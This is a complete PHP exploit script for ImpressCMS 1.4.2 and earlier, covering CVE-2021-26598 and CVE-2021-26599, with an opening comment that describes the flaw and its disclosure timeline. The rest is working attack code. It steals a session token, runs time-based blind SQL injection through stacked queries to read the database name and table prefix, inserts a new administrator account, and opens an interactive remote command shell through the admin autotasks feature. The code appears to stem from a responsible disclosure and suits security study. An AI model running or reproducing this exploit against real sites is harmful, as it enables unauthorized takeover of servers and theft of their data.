<?php /* ---------------------------------------------------------- ImpressCMS <= 1.4.2 SQL Injection to Remote Code Execution ---------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: https://www.impresscms.org +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerability Description: User input passed through the "groups" POST parameter to the /include/findusers.php script is not properly sanitized before being passed to the icms_member_Handler::getUserCountByGroupLink() and icms_member_Handler::getUsersByGroupLink() methods. These methods use the first argument to construct a SQL query without proper validation, and this can be exploited by remote attackers to e.g. read sensitive data from the "users" database table through boolean-based SQL Injection attacks. The application uses PDO as a database driver, which allows for stacked SQL queries, as such this vulnerability could be exploited to e.g. create a new admin user and execute arbitrary PHP code. [-] CVE Reference: The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2021-26599 to this vulnerability. [-] Disclosure timeline: [19/01/2021] - Vendor notified through HackerOne [29/01/2021] - Vulnerability acknowledged by the vendor [03/02/2021] - CVE number assigned [06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed [11/02/2022] - Vendor was informed about the ineffective fix [09/03/2022] - Version 1.4.4 released [22/03/2022] - Public disclosure [-] Technical writeup: http://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce */ set_time_limit(0); error_reporting(E_ERROR); if (!extension_loaded("curl")) die("[-] cURL extension required!\n"); function hex_enc($input) { for ($i = 0; $i < strlen($input); $i++) $encoded .= sprintf("%02x", ord($input[$i])); return "0x{$encoded}"; } print "+-----------------------------------------------------------+\n"; print "| ImpressCMS <= 1.4.2 Remote Code Execution Exploit by EgiX |\n"; print "+-----------------------------------------------------------+\n"; if ($argc != 2) { print "\nUsage: php $argv[0] <URL>"; print "\nExample: php $argv[0] http://localhost/impresscms/"; print "\nExample: php $argv[0] https://www.impresscms.org/\n\n"; die(); } $url = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080"); print "\n[+] Retrieving security token (CVE-2021-26598)\n"; curl_setopt($ch, CURLOPT_URL, "{$url}misc.php?action=showpopups&type=friend"); $res = curl_exec($ch); if (!preg_match("/(cookie: [^;]+); path/i", $res, $sid)) die("[-] Session coookie not found!\n"); if (!preg_match("/TOKEN_REQUEST' value='([^']+)'/", $res, $token)) die("[-] Token not found!\n"); print "[+] Starting SQL Injection attack (CVE-2021-26599)\n"; print "[*] Step 1: retrieving database name\n"; curl_setopt($ch, CURLOPT_URL, "{$url}include/findusers.php"); curl_setopt($ch, CURLOPT_HTTPHEADER, [$sid[1]]); $params = "user_submit=1&token={$token[1]}&groups[]=%s"; $min = true; $idx = 1; while(1) { $test = 256; for ($i = 7; $i >= 0; $i--) { $test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i)); $sql = hex_enc("SELECT IF(ORD(SUBSTR(DATABASE(),{$idx},1))<{$test},1,SLEEP(1))"); $sql = "0); SHOW WARNINGS; SET@q = {$sql}; PREPARE stmt FROM @q; EXECUTE stmt;#"; curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql))); $start = time(); curl_exec($ch); $secs = time() - $start; $min = ($secs < 2); } if (($chr = $min ? ($test - 1) : ($test)) == 0) break; $dbname .= chr($chr); $min = true; $idx++; print "\r[+] DB name: {$dbname}"; } print "\n[*] Step 2: retrieving tables prefix\n"; $sub = "SELECT TRIM(TRAILING 'users' FROM table_name) FROM information_schema.tables WHERE table_schema='{$dbname}' AND table_name LIKE '%users'"; $min = true; $idx = 1; while(1) { $test = 256; for ($i = 7; $i >= 0; $i--) { $test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i)); $sql = hex_enc("SELECT IF(ORD(SUBSTR(({$sub}),{$idx},1))<{$test},1,SLEEP(1))"); $sql = "0); SHOW WARNINGS; SET@q = {$sql}; PREPARE stmt FROM @q; EXECUTE stmt;#"; curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql))); $start = time(); curl_exec($ch); $secs = time() - $start; $min = ($secs < 2); } if (($chr = $min ? ($test - 1) : ($test)) == 0) break; $prefix .= chr($chr); $min = true; $idx++; print "\r[+] Prefix: {$prefix}"; } print "\n[*] Step 3: creating new admin user\n"; $uid = time(); $pwd = md5("egix"); $sql = hex_enc("INSERT INTO {$prefix}users (uid, uname, login_name, pass, level, enc_type) VALUES ({$uid}, 'egix', 'egix', '{$pwd}', 5, 0)"); $sql = "0); SHOW WARNINGS; SET@q = {$sql}; PREPARE stmt FROM @q; EXECUTE stmt;#"; curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql))); curl_exec($ch); $sql = hex_enc("INSERT INTO {$prefix}groups_users_link (groupid, uid) VALUES (1, {$uid})"); $sql = "0); SHOW WARNINGS; SET@q = {$sql}; PREPARE stmt FROM @q; EXECUTE stmt;#"; curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, urlencode($sql))); curl_exec($ch); print "[+] Trying to login as the new user\n"; curl_setopt($ch, CURLOPT_URL, "{$url}user.php"); curl_setopt($ch, CURLOPT_POSTFIELDS, "uname=egix&pass=egix&op=login"); if (!preg_match("/(cookie: [^;]+); path/i", curl_exec($ch), $sid)) die("[-] Login failed!\n"); print "[+] Launching shell\n"; $phpcode = 'print(____); $c="%s"; $o=`$c`; print($o); print(____); '; $params = "fct=autotasks&sat_name=rce%d&sat_code=%s&sat_enabled=1&sat_repeat=1&op=addautotasks"; curl_setopt($ch, CURLOPT_URL, "{$url}modules/system/admin.php"); curl_setopt($ch, CURLOPT_HTTPHEADER, [$sid[1], "Referer: {$url}"]); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); while(1) { print "\nimpresscms-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $encoded = ""; for ($i = 0; $i < strlen($cmd); $i++) $encoded .= sprintf("\x%02x", ord($cmd[$i])); curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf($params, time(), urlencode(sprintf($phpcode, $encoded)))); preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }